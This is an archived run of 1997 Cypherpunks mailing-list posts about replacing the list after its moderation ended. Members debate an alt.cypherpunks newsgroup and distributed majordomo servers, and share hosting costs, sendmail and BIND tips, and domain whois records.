>C'punks, > > > >You have probably just read John's post. I truly hope YOU (each > >and every one of you) can rise to his challenge. If you have > >offered nothing in the past but criticism, it's now time to get a > >bit more real. What will it be, your money, time, equipment? > > What kind of memory requirements/machine load does the list eat up? I have a > machine that may fit this purpose... (Need to know if I need to upgrade the > box though.) > > > -----BEGIN PGP SIGNATURE----- > Version: 4.5 > > iQEVAwUBMwCeq+QCP3v30CeZAQGpwAf+MXRvC4wB6LeJkwsQa7yWI1g2TEYFJZ6O > 1wD1S1QeRu1GMGRfUC3/9OTsQFijQLrOVb3MIXiy7bYxzcZsShd2cgKf4cL3HhjV > T/PH1M2uUEpOJEHLF4jCKvspySgCuLfHK+7V0+fNRO0MFQZZeCNvEd2Awog8Ue0q > OIi/jwBvzNITeBQzGu8zrBuS3VHWjMmi66kio1GV6xFL+JLwQWMsi6hT8hSiZ/TT > fOhvAfECT/hGFFDdu3/R0JYkw1B9IO7Uh0NNgH1pl7HoJiBWfU/HTDoRsruKkweX > 7eDVPxB0MR10Q5XCeoH1EA3Lwd3HdNFVEsUJc+myjN58vnZ5Vo+TGQ== > =CWO1 > -----END PGP SIGNATURE----- > > --- > | "Mi Tio es infermo, pero la carretera es verde!" | > |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | > | mankind free in one-key-steganography-privacy!" | Ignore the man | > |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| > | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| > - Igor. From gbroiles at netbox.com Tue Feb 11 16:31:34 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 11 Feb 1997 16:31:34 -0800 (PST) Subject: Network of majordomos Message-ID: <3.0.32.19970211162813.006de930@mail.io.com> At 02:08 PM 2/11/97 -0800, Peter Hendrickson wrote: >At 1:09 PM 2/11/1997, Greg Broiles wrote: >>At 10:45 AM 2/11/97 -0600, Firebeard wrote: >>> [...] I've already taken steps, along with Jim Choate, to >>> start a network of majordomos hosting a Cypherpunks mailing list. >>> [...] Our intention is to have a set of majordomos which >>> are intersubscribed to a cypherpunks list on each one, with measures >>> taken to ensure that mail loops don't develop. > >> I still think you're just rediscovering Usenet technology.... > >> And, if you must, run mail-to-news gateway(s) which send the newsgroup to >> people who want it as E-mail. > >> Usenet technology does exactly what you're describing:... > >How about this? The people who like Usenet should race ahead and set >it up. The people who like networks of majordomos should race ahead >and set those up. Just so long as the tracks meet somewhere in Utah. As I understand the creation process for an alt. group, someone posts a proposal to alt.config explaining what's being proposed, waits a week or so to see if there's a general sense of approval or disapproval or [...] and then they send a newgroup control message. Individual systems will choose to add the new group, or not, depending on local policy, administrator whim, and so forth. I sent a proposal to alt.config last night (a few hours before I got John's message indicating that the list is going away, so I wasn't able to include that fact in my message; it was also ~ 10 hours before I saw Tim's message re alt.cypherpunks so I was unable to include his more useful statement of the group's purpose) and intend to newgroup alt.cypherpunks in a week or so, absent a clear indication from the people in alt.config that it would be rmgroup'ed or otherwise have a poor chance of success. I don't think a "charter" is especially necessary or useful in the alt. hierarchy. One feature of the "alt." groups is that there's no real control over what happens there. If someone creates a one-way or two-way gateway between one or more mailing lists and alt.cypherpunks, there's nothing anyone else can do about it. (modulo cancelbunny/NoCeM, both of which are optionally honored on a site-by-site basis) So, the tracks will meet in Utah if someone decides to hook them up. Perhaps this will be you? As far as I'm concerned, nobody owns the word "cypherpunks" and we're all free to use it in any way we please - e.g., Igor can suggest "comp.org.cypherpunks", eight people can run "cypherpunks at foo.com" mailing lists, and so forth. Looking for one unified acceptable-to-everyone solution is pointless on this list. Let "n" flowers bloom. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. From emc at wire.insync.net Tue Feb 11 16:36:52 1997 From: emc at wire.insync.net (Eric Cordian) Date: Tue, 11 Feb 1997 16:36:52 -0800 (PST) Subject: Cocksucker Gilmore's Big Adventure In-Reply-To: <0n0E2U200YUe06aDk0@andrew.cmu.edu> Message-ID: <199702120040.SAA06406@wire.insync.net> A Gilmore Supporter writes: > You know, I was vaugley offended by John's comments about whiny > cypherpunks, until I read this message and realized who he was talking > about. John, thank you for your years of service to the cypherpunk > community 9such as it is), John Gilmore's only contribution to Cypherpunks has been to provide a box. I can't even remember the last time he contributed something of interest to the list, and he certainly ranks as one of the least frequent contributors of substance over the years. Any goodwill John might have built up by letting us all use his box has certainly been eradicated over the last few weeks by his takeover of the list, and the series of edicts which followed. Yes, it was nice of John to donate the use of his box, back in the days when he did not feel the urge to exercise unilateral editorial control. But if it hadn't been his box, it would have been someone elses box, and our gratitude towards him shouldn't be so great that we are willing to sit back and let him do major damage to that which "Cypherpunks" is supposed to stand for, lest someone claim we are unappreciative. > and Sandy, thanks for your well-intentioned > (but doomed from day one) efforts to take some resopnsibility for our > current mess. It's too bad things had to end in such a pissy way, but > anyone who wants to dole out blame should realize that in an anarchy, > all members are responsible for the maintainence of freedom. Sandy, unlike Herr Gilmore, has been a major contributor of substance to the list since its inception, and hopefully he will continue to be in the future. The idea that he should moderate the list was of course a silly one, but for reasons which do not reflect badly on him in the least. What Mr. Blatz fails to realize is that the "problem" which certain people tried to solve never really existed. The quality of the Cypherpunks list is determined solely by the amount of signal, not by the amount of noise, unless one is getting ones feed of the list via 1200 baud long distance UUCP. Anyone can create signal by writing about relevant topics, and if you feel signal is lacking in your particular area of interest, feel free to add some. The notion that the list was ever threatened by the humour of Dr. Vulis, or the one line bot-spammed insults about Tim May's heritage, is an absurd one. No one should have had any problem ignoring such material, and only a politically naive fool would buy this as the excuse for the blatant usurpation of the list by Gilmore and crew. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From se7en at dis.org Tue Feb 11 16:39:11 1997 From: se7en at dis.org (Evil se7en) Date: Tue, 11 Feb 1997 16:39:11 -0800 (PST) Subject: Germany Versus Scientology Message-ID: I have posted a rather lengthy story about Germany's war against the Scientologists. It was long enough to preclude mailing it directly to the lists, so I have put it on my web site. You may find it at: http://www.dis.org/se7en/ with the link being directly under the large "X." I decided to post it for the reasons that I know several people who suffered directly at the hands of the Scientologists after trying to infiltrate their organization via the Internet. These people will recieve this message due to this posting. Enjoy. se7en From kent at songbird.com Tue Feb 11 16:42:41 1997 From: kent at songbird.com (Kent Crispin) Date: Tue, 11 Feb 1997 16:42:41 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702111458.GAA20705@toad.com> Message-ID: <199702120140.RAA23826@songbird.com> Sandy Sandfort allegedly said: > [...] > Finally, if anyone wants to discuss why the Cypherpunk list has > come to this, or what I did right or wrong as a moderator, let's > talk about--on the new list(s) YOU create. For now, though, it's > off-topic. We have work to do. If a scheme can be worked out for a distributed list, I am willing to support maybe 100 users at songbird. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From das at razor.engr.sgi.com Tue Feb 11 16:43:54 1997 From: das at razor.engr.sgi.com (Anil Das) Date: Tue, 11 Feb 1997 16:43:54 -0800 (PST) Subject: whois cypherpunks.org ? Message-ID: <9702111643.ZM18@razor.engr.sgi.com> With all this talk about relocating the home of cypherpunks, I decided to see if any second level domains are registered under the cypherpunks name. Both cypherpunks.org and cypherpunks.com are registered by one Elias M. Levy in Ft. Meade, MD. I haven't seen his name on the list though. Anybody knows more about this? -- Anil Das From snow at smoke.suba.com Tue Feb 11 16:47:31 1997 From: snow at smoke.suba.com (snow) Date: Tue, 11 Feb 1997 16:47:31 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: <199702111721.JAA22739@toad.com> Message-ID: <199702120105.TAA00951@smoke.suba.com> > (Please leave my name in any replies to ensure I see your comments.) > I talked to Hugh Daniel at the Saturday meeting about the creation of an > "alt.cypherpunks" unmoderated (of course) newsgroup as a possible > alternative (or supplement) to cypherpunks at toad.com. Greg Broiles and John > Gilmore were there for part of the discussion, too. Might "we" get wider propigation with something like "talk.issues.crypto" or "talk.cypherpunks"? > Charter for alt.cypherpunks: (suggested) > "Alt.cypherpunks is for the unmoderated discussion of cryptography and the > political, social, and economic implications of unrestricted, strong > readers are strongly advised to learn how to use filters and other tools > for making virtual anarchies manageable for their own tastes." Maybe a pointer to these tools? > * Disadvantages -Mailing lists easily penetrate firewalls, while many places don't provide Usenet access. Another possibility would be to create a "private Usenet" setting up NNTP servers that _only_ talk to each other. This would eventually allow for the same sort of redundancy that the "regular" usenet offers, provide some of the same efficient use of resources, and ease of use (almost) but provide some protection against spammers & etc. For those who don't understand, this is how it would work (and correct me if I am wrong): Usenet works by servers exchanging messages with one or more other servers it is decentralized and has no central authority (execpt the cabal --there is no cabal) inherent in the process. These servers are told _who_ they get their feed from/to, so it should be possible to set up another network of Usenet servers just to serve our purposes. As part of setting up the servers, they can be configured as to who they allow to conenct to them with newsreader software. This means that if we were to set up a secondary news network, people who couldn't get a reliable feed locally could easily find a server non-locally who would allow access. In otherwords, you would use your news reader to "read remotely" from one of many servers. There would be several advantages to this: 1) It would be easy to set up different groups for different discussions i.e.: cypherpunks.politics #politics and social implications. cypherpunks.code #cypherpunks write code. cypherpunks.announce #non-discussion--"self" moderated cypherpunks.flames #just for fun. 2) It provides for easy propigation, without the same amount of risks (spam &etc.) as a general usenet feed. It would be easier to provide mail2news gateways for anonymous users as the liability of providing a general usenet mail2news gateway would be reduced. Disadvantages: It would require people to actually setup and maintain fairly complex software on (possibly, I don't know how flexible the software is) dedicated hardware, altho the necessary hardware would be relatively cheap (in the 386/486/sun3\/50 range for the probable load). It still leaves the problem of people behind firewalls. I have a small server that I am willing to add this to, and I am going to start looking at INN this evening. I am willing to provide a feed until my service provider screams at me (I doubt he will) assuming that I can get the software up and running. From emc at wire.insync.net Tue Feb 11 16:50:10 1997 From: emc at wire.insync.net (Eric Cordian) Date: Tue, 11 Feb 1997 16:50:10 -0800 (PST) Subject: alt.cypherpunks In-Reply-To: Message-ID: <199702120053.SAA06437@wire.insync.net> Robert Hettinga writes: > Hey, folks, > I thought all you had to do to create an alt.group was to have a news admin > somewhere just make a group; send out a control message of somekind. I > thought that alt groups didn't have to go through a charter, or voting > process, or anything else. They just happened. > Then, everyone just has to tell their local news admin that they went to > see it, or they can wait until their news admin sees it flying by, and adds > it to the available groups list at his own discretion. In theory, and according to the alt FAQ, anyone can create an alt group. In reality, control messages are merely advisory, and greater weight is lent to control messages which have the imprimatur of the Alt Cabal than to those issued by mere peons. The typical news admin finds that if he honors all rmgroup messages issued by Cabal members, when they disapprove of a newsgroup not previously discussed in alt.config, his life is made simpler, and he no longer has to weed the wheat from the chaf by hand. Since most people are inherently lazy, and most newgroups created outside of the alt.config process are trash, the path of least resistance is to only automatically honor newgroups and rmgroups issued by Cabal members. This is of course the exact antithesis of how alt was supposed to work in the first place, but with the large number of users on the Net at present, it is not practical to create every single newsgroup a person might want automatically. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From jya at pipeline.com Tue Feb 11 16:51:13 1997 From: jya at pipeline.com (John Young) Date: Tue, 11 Feb 1997 16:51:13 -0800 (PST) Subject: STE_pup Message-ID: <1.5.4.32.19970212004512.006c08b4@pop.pipeline.com> Lucky Green wrote: >Fingerprint readers tend to work regardless if the finger is attached to a >body or not. All that fingerprint readers will do is increase the damage to >those relying on ever increasing, but misguided, methods of authentication. >See the rise in "identity theft" since SSN's began to be used for >identification. Oracle claims they've solved the lopped or faked pinkie problem by verifying other biometry. One device IDs BO. None invade privacy the snakes hiss. What next, BS detectors? Nah, that'd kill commerce and law and government and true love and blind faith in supreme-gold-fool. From jer+ at andrew.cmu.edu Tue Feb 11 16:53:07 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Tue, 11 Feb 1997 16:53:07 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: Message-ID: <0n0FEn200YUg0KanA0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- das at razor.engr.sgi.com (Anil Das) writes: > On Feb 11, 2:42pm, Alan Bostick wrote: > > new alt.* newsgroups are better > > received if they don't have top-level names. Using existing top-level > > hierarchies is better (e.g. alt.security.cypherpunks or > > alt.privacy.cypherpunks). > > I agree that alt.privacy.cypherpunks is the best bet, if alt.group > is the route we go. This has a number of frige benifits, too. It's lower down in the alphabetical list, so luser AOL-type people and auto-spam bots are less likely to reach alt.p* or alt.s* than alt.c*. Also, it seperates it from alt.cyberpunk and associated groups, thus maybe minimizing innappropriate x-posts. The hybrid mailing list/newsgroup system seems to me to be an excellent setup. It is resilliant to the moderation woes that a mailing list is vulernable to, and is also resistant to ISPs who don't carry alt groups. It also provides a set of mail-news gateways for people who wish to post anonymously to the newsgroup, whaile at the same time being resistant to commercial spam abuse (why use a mail-news to spam if it just goes to 1 newsgroup?). Finally, a newsgroup makes it easy to spread the gospel to the unwashed masses. Tim May's rants/essays would probably make excellent usenet memes, and having more usenet people crypto-aware can only help advance the causes of liberty and privacy. I hereby volunteer to do my best to handle all the newbie questions. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwEULskz/YzIV3P5AQGgNQMAgPaMmS7Wcb4kT6Mc9ak3dLZ9GjdvZmtU ZDdkLhnnJ+3IFD1RWzo7gahEXDrJtFQ3QfWhcjC/0V9EMYWBr/ITa2esNXPiuCWW KyWYblVSCeYGdrzd0MK8MJXIjX5hWZ/A =emtl -----END PGP SIGNATURE----- From ichudov at algebra.com Tue Feb 11 17:03:22 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 11 Feb 1997 17:03:22 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702120140.RAA23826@songbird.com> Message-ID: <199702120059.SAA20410@manifold.algebra.com> so we have myself, Jim Choate, and you who colunteer to host mailing lists for the distributed cypherpunks. I have already created majordomo at algebra.com and cypherpunks at algebra.com. We can coordinate our efforts. Actually, we can even have a mini mailing list for people who want to participate in the distributed cypherpunks experiment. If there is any interest, I can create such a list. igor Kent Crispin wrote: > > Sandy Sandfort allegedly said: > > > [...] > > Finally, if anyone wants to discuss why the Cypherpunk list has > > come to this, or what I did right or wrong as a moderator, let's > > talk about--on the new list(s) YOU create. For now, though, it's > > off-topic. We have work to do. > > If a scheme can be worked out for a distributed list, I am willing to > support maybe 100 users at songbird. > > -- > Kent Crispin "No reason to get excited", > kent at songbird.com,kc at llnl.gov the thief he kindly spoke... > PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F > - Igor. From jya at pipeline.com Tue Feb 11 17:14:40 1997 From: jya at pipeline.com (John Young) Date: Tue, 11 Feb 1997 17:14:40 -0800 (PST) Subject: whois cypherpunks.org ? Message-ID: <1.5.4.32.19970212010456.006a2430@pop.pipeline.com> cypherpunks (REMAILER-DOM) 1819 Woolsey St. Berkeley, CA 94703 Domain Name: REMAILER.NET Administrative Contact: Hughes, Eric (EH9) eric at SAC.NET (415) 392-0526 Technical Contact, Zone Contact: Levy, Elias M. (EML2) aleph1 at DFW.NET 619-794-8383 (FAX) (619) 794-8373 Billing Contact: Hughes, Eric (EH9) eric at SAC.NET (415) 392-0526 Record last updated on 17-Oct-96. Record created on 09-Nov-94. Domain servers in listed order: FLYING.FISH.COM 140.174.97.13 NS1.SAC.NET 208.146.161.2 ---------- CypherPunks (CYPHERPUNKS-DOM) 9705 Standford Road Ft. Meade, MD 20755 Domain Name: CYPHERPUNKS.COM Administrative Contact, Technical Contact, Zone Contact: Levy, Elias M. (EML2) aleph1 at DFW.NET 619-794-8383 (FAX) (619) 794-8373 Record last updated on 14-Sep-95. Record created on 14-Sep-95. Domain servers in listed order: NS1.CYBERWORKS.NET 206.170.116.21 NS2.PARANOIA.COM 207.239.130.25 WKP.COM 205.199.64.11 ---------- CypherPunks Group (CYPHERPUNKS3-DOM) 9705 Standford Road Ft. Meade, MD 20755 Domain Name: CYPHERPUNKS.ORG Administrative Contact, Technical Contact, Zone Contact: Levy, Elias M. (EML2) aleph1 at DFW.NET 619-794-8383 (FAX) (619) 794-8373 Record last updated on 03-Oct-95. Record created on 03-Oct-95. Domain servers in listed order: NS1.CYBERWORKS.NET 206.170.116.21 NS2.PARANOIA.COM 207.239.130.25 WKP.COM 205.199.64.11 ---------- Cypherpunks (ANONYMOUS-DOM) PO Box 170608 San Francisco, CA 94117-0608 Domain Name: ANONYMOUS.NET Administrative Contact, Technical Contact, Zone Contact: Gilmore, John (JG150) gnu at TOAD.COM +1 415 221 6524 (FAX) +1 415 221 7251 Record last updated on 24-Jun-93. Record created on 24-Jun-93. Domain servers in listed order: CYGNUS.COM 205.180.230.20 RTL.CYGNUS.COM 205.180.230.21 ---------- From ichudov at algebra.com Tue Feb 11 17:23:06 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 11 Feb 1997 17:23:06 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702112310.PAA28883@toad.com> Message-ID: <199702120118.TAA20580@manifold.algebra.com> John Gilmore wrote: > A pentium is definitely up to this task. I've been running it the > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and > general computing). Give it a big /var/spool partition (mine is 60MB) > because every message will sit in the queue for days (*somebody* on > the list will have an unreachable name server or MX server until the > msg times out). Give it lots of RAM and paging space, since each > sendmail process takes about 2MB virtual, 1.4MB physical, and you will > have dozens running at the same time. > > The new version of majordomo (that allows confirmation of > subscriptions) will help a lot. It needs a small patch though, to do > exponential backoff on the lock file, or when you get a flood of > messages, thirty majordomo processes will burn up the whole machine > trying and failing to get the lock file. > > You'll need a BIG mailbox for the bounce messages, and someone (or > some unwritten software) to scan it every day or two and delete the > lusers whose mailboxes are full or who dumped their account without > unsubscribing. The bounce mailbox on toad gets between 1 and 4MB of > email a day; more when the list is under attack. > > You'll want to run the latest version of BIND on the machine, too, > since doing DNS name-lookups on a thousand email addresses is expensive. > You want them all in the in-memory cache on the same machine. The > name daemon burns about 7MB virtual, 5MB real RAM once its cache > gets loaded. > > Make sure that every message sent to the list gets into at least > two logfiles -- on separate partitions, in case one fills up. At > least if you want to have an archive of what's been sent. > > > I can provide a pentium box running Linux with a T1 connection to > > MAE-West to host the list, if there is still interest. > > Make sure you are getting "transit" service to the Internet, instead > of trying to cheap out with "peering" to a few major networks. > Without transit service ("we'll carry your packets to anywhere even if > the destination is not on our network") you won't be able to route > packets to some places on the net. This will cause mail to those > subscribers to sit in the queue for days and then bounce. > > The real issue is how willing you are to put your own time into > dealing with problems. Not only do things go wrong by themselves, but > there are malicious assholes in the world who will deliberately make > trouble for you just because they like to. Spending a day or two > cleaning up the mess is just part of the job. Check your level of > committment two or three times before taking on the task -- so you > won't end up getting disgusted after a month or two and putting the > list's existence into crisis again. It's not a "set it up and forget > it" kind of operation. Listen to it, John is absolutely right. Running a big mailing list is an incredible commitment and it is important to realize what you are getting into. Another suggestion may be to set sendmail expire option to one day instead of five so that messages that cannot be delivered would bounce faster and not clog the queue. - Igor. From ravage at einstein.ssz.com Tue Feb 11 17:26:51 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Tue, 11 Feb 1997 17:26:51 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" (fwd) Message-ID: <199702120132.TAA08646@einstein> Forwarded message: > Date: Tue, 11 Feb 1997 08:30:54 -0800 > From: Alan Olsen > >offered nothing in the past but criticism, it's now time to get a > >bit more real. What will it be, your money, time, equipment? > > What kind of memory requirements/machine load does the list eat up? I have a > machine that may fit this purpose... (Need to know if I need to upgrade the > box though.) A minimum standard for a useable remailer (YMMV): 486DX(blah) 16M 1G IDE Mitsumi CD Rom (very widely supported) VGA 1M NE2000 x 2 (Internet & Intranet) High-speed serial ports x 3 (Mouse, Modems x 2) [optional] ISDN Bridge (incl. NT-1, no POTS) ISDN Line (contact business office) Internet Provider (commercial service, nameservice, news, etc.) 10BaseT Bridge [optional, depends on Bridge] Registration of domain name [optional, suggested] Linux (WinNT if clueless) For a full-time commercial feed in Austin, Tx. your talking about: Startup: $600 Machine $100 VGA Monitor $100 Computer accessories $400 28.8 Modems ($200 x2) $150 ISDN install $1k ISDN Bridge $500 ISP setup & init (this is commercial, not hobby) $100 Initial name registry $300 UPS $3,250 Monthlies: $50 Phones ($25 x2) $25 Utilities $75 ISDN $400 ISP connection $550 Note: * This machine can't be your personal workstation. It will be entirely too busy. * Learn shell, c, Pearl to start. * O'Reilly makes very useful books. * Such a machine will handle from between 100 to 500 accounts depending on how you set up your system. * If you have the money, put it in the bandwidth first. * I would very strongly suggest against using your employers resources for such activities. * You will want at least one dedicated dial-in, no matter what. This is a good place for distinctive ring and a line splitter. Consider this when buying the modem, it will raise the price of the modem. Also consider the personal 800 numbers that are available. * Consider strongly the use of an encrypted file system. While they make automated re-boots impossible their security can be quite appealing. (This is an issue that somebody who is already designing encrypted file systems should look into, how to allow automated reboots w/o manual entry of the key(s).) * Anonymous remailer extensions would not be a major resource hog. * If you are going to consider allowing general access by your users via dial-in use 10 - 15 users per line per day, assuming no enforced quota. Hope this helps anyone who might be interested in starting up such a beast. Jim Choate CyberTects ravage at ssz.com When I was a kid, I lived in Pasadena, Tx. just down the street from the Washburn Tunnel. There was a big sign going from Pasadena to the Houston side that said "The grass is greener in Pasadena". This sentiment is the true liberator of the human spirit. Keeping up with the Joneses is burned into our genes. From ichudov at algebra.com Tue Feb 11 17:32:23 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 11 Feb 1997 17:32:23 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702112210.OAA01556@gulch.spe.com> Message-ID: <199702120127.TAA20733@manifold.algebra.com> Patrick May wrote: > Before doing this, I'd need the answers to a few questions: > > - Is there still any interest in a cypherpunks mailing list? yes > - Is alt.cypherpunks a better alternative? it is not an alternative, it is a complement. i think that alt.cypherpunks will be a failure because all of the troubles of alt.* hierarchy. > - Majordomo can be configured to require confirmation of > subscription requests, thus avoiding some attacks. Is there > any simple way to protect against mailloops? Directly > accessing the listname-outgoing alias? Add X-Loop: header and use procmail to protect against messages FROM_DAEMON and FROM_MAILER. > - Is a pentium up to the task of running a list of this size and > volume? yes, it is the other stuff that's the problem -- memory, connection speed, etc. - Igor. From moroni at scranton.com Tue Feb 11 17:32:48 1997 From: moroni at scranton.com (Moroni) Date: Tue, 11 Feb 1997 17:32:48 -0800 (PST) Subject: NSA Rainbow Series. In-Reply-To: <199701302228.OAA19264@toad.com> Message-ID: 1-800-688-6115 press 0 or just wait for the operator. My second order consisting of posters and video has not arrived either. It has been about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when you order the Rainbow series you will be getting a large box.Their are something like 30+ booklets in the series. There is a set of security posters that include a Santa poster.And there is also a video with two films on it (Acess Ins and outs adb Acess Control). Good luck on your mission Mr. Phelps, moroni On Thu, 30 Jan 1997, Genocide wrote: > Date: Thu, 30 Jan 1997 12:42:08 -0800 (PST) > From: Genocide > To: Cypherpunks Mailing List > Subject: NSA Rainbow Series. > > > A while back someone posted the 1-800 number for the NSA to call > in and get the Rainbow series delivered.... well, I called and put in an > order and it never came, I need to call them again... I don't have the > phone numbere number anymore...does anyone have it? Can someone > email me the number again? > > Genocide > Head of the Genocide2600 Group > > > ============================================================================ > **Coming soon! www.Genocide2600.com! > ____________________ > *---===| |===---* > *---===| Genocide |===---* "You can be a king or a street > *---===| 2600 |===---* sweeper, but everyone dances with the > *---===|__________________|===---* Grim Reaper." > > Email: gen2600 at aracnet.com Web: http://www.aracnet.com/~gen2600 > > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > It is by caffeine alone that I set my mind in motion. > It is by the Mountain Dew that the thoughts acquire speed, > the lips acquire stains, the stains become a warning. > It is by caffeine alone that I set my mind in motion. > ================================================================================ > > > xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx x No success can compensate for failure in the home. x x x xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx From ravage at einstein.ssz.com Tue Feb 11 17:57:26 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Tue, 11 Feb 1997 17:57:26 -0800 (PST) Subject: Cypherpunks Distributed Remailer Message-ID: <199702120203.UAA08930@einstein> Hi, What is the current future of the Cypherpunks webpage? Will it continue to be kept up or is it going down as well? Jim Choate CyberTects ravage at ssz.com From das at razor.engr.sgi.com Tue Feb 11 18:11:13 1997 From: das at razor.engr.sgi.com (Anil Das) Date: Tue, 11 Feb 1997 18:11:13 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702120211.SAA02828@toad.com> On Feb 11, 2:42pm, Alan Bostick wrote: > new alt.* newsgroups are better > received if they don't have top-level names. Using existing top-level > hierarchies is better (e.g. alt.security.cypherpunks or > alt.privacy.cypherpunks). I agree that alt.privacy.cypherpunks is the best bet, if alt.group is the route we go. -- Anil Das From shamrock at netcom.com Tue Feb 11 18:12:28 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 11 Feb 1997 18:12:28 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702120212.SAA03278@toad.com> At 09:15 AM 2/11/97 -0800, Timothy C. May wrote: >- propagation is often spotty, and some sites have no access at all to the >"alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many >academic sites block just the alt.binaries.pictures heirarchy. Etc. A news >to mailing list gateway is possible for these readers.) Everybody with a web browser has access to alt newsgroups via http://www.dejanews.com/ -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From "jeannie at accucomm.net" at accucomm.net Tue Feb 11 18:41:38 1997 From: "jeannie at accucomm.net" at accucomm.net ("jeannie at accucomm.net" at accucomm.net) Date: Tue, 11 Feb 1997 18:41:38 -0800 (PST) Subject: Remove Message-ID: <199702120238.VAA25073@atl1.america.net> Please remove our e-mail address from your services we received three viruses from erractic re-mail. Thank You Allen Woffard From jya at pipeline.com Tue Feb 11 18:51:04 1997 From: jya at pipeline.com (John Young) Date: Tue, 11 Feb 1997 18:51:04 -0800 (PST) Subject: STE_pup Message-ID: <199702120251.SAA04696@toad.com> Lucky Green wrote: >Fingerprint readers tend to work regardless if the finger is attached to a >body or not. All that fingerprint readers will do is increase the damage to >those relying on ever increasing, but misguided, methods of authentication. >See the rise in "identity theft" since SSN's began to be used for >identification. Oracle claims they've solved the lopped or faked pinkie problem by verifying other biometry. One device IDs BO. None invade privacy the snakes hiss. What next, BS detectors? Nah, that'd kill commerce and law and government and true love and blind faith in supreme-gold-fool. From kent at songbird.com Tue Feb 11 18:53:26 1997 From: kent at songbird.com (Kent Crispin) Date: Tue, 11 Feb 1997 18:53:26 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702120253.SAA04759@toad.com> Sandy Sandfort allegedly said: > [...] > Finally, if anyone wants to discuss why the Cypherpunk list has > come to this, or what I did right or wrong as a moderator, let's > talk about--on the new list(s) YOU create. For now, though, it's > off-topic. We have work to do. If a scheme can be worked out for a distributed list, I am willing to support maybe 100 users at songbird. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From bryce at digicash.com Tue Feb 11 18:54:18 1997 From: bryce at digicash.com (Bryce) Date: Tue, 11 Feb 1997 18:54:18 -0800 (PST) Subject: NETLINK_IPSEC Message-ID: <199702120254.SAA04773@toad.com> -----BEGIN PGP SIGNED MESSAGE----- > Has anyone tried IPSEC with the 2.1.x kernels? Are there a logcation that > describes the differences between 2.0.x and 2.1.x? (I have not been able to > find one...) Then again, I have yet to find a list of what was fixed from > kernel to kernel... (Probibly in some directory of the tar file...) Source 1: ftp://ftp.shout.net/pub/users/mec/kcs Source 2: The patch files. :-) Regards, Bryce, not a kernel hacker PGP sig follows -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2 iQB1AwUBMwDzRUjbHy8sKZitAQE5OQL/X/Uv6oIJTQqWsVzRVTF8slnMBZa9sByj ld4mHGvfn7lwQXmdWk7OOngRWum38ZysjRxRk7R5OtULhRsUxRjIe2FhTXFn3v/O nKxHOTmbbwvz/flovkg7cUFeIk/7iCEl =ucy1 -----END PGP SIGNATURE----- From ravage at einstein.ssz.com Tue Feb 11 18:56:16 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Tue, 11 Feb 1997 18:56:16 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" (fwd) Message-ID: <199702120256.SAA04844@toad.com> Forwarded message: > Date: Tue, 11 Feb 1997 08:30:54 -0800 > From: Alan Olsen > >offered nothing in the past but criticism, it's now time to get a > >bit more real. What will it be, your money, time, equipment? > > What kind of memory requirements/machine load does the list eat up? I have a > machine that may fit this purpose... (Need to know if I need to upgrade the > box though.) A minimum standard for a useable remailer (YMMV): 486DX(blah) 16M 1G IDE Mitsumi CD Rom (very widely supported) VGA 1M NE2000 x 2 (Internet & Intranet) High-speed serial ports x 3 (Mouse, Modems x 2) [optional] ISDN Bridge (incl. NT-1, no POTS) ISDN Line (contact business office) Internet Provider (commercial service, nameservice, news, etc.) 10BaseT 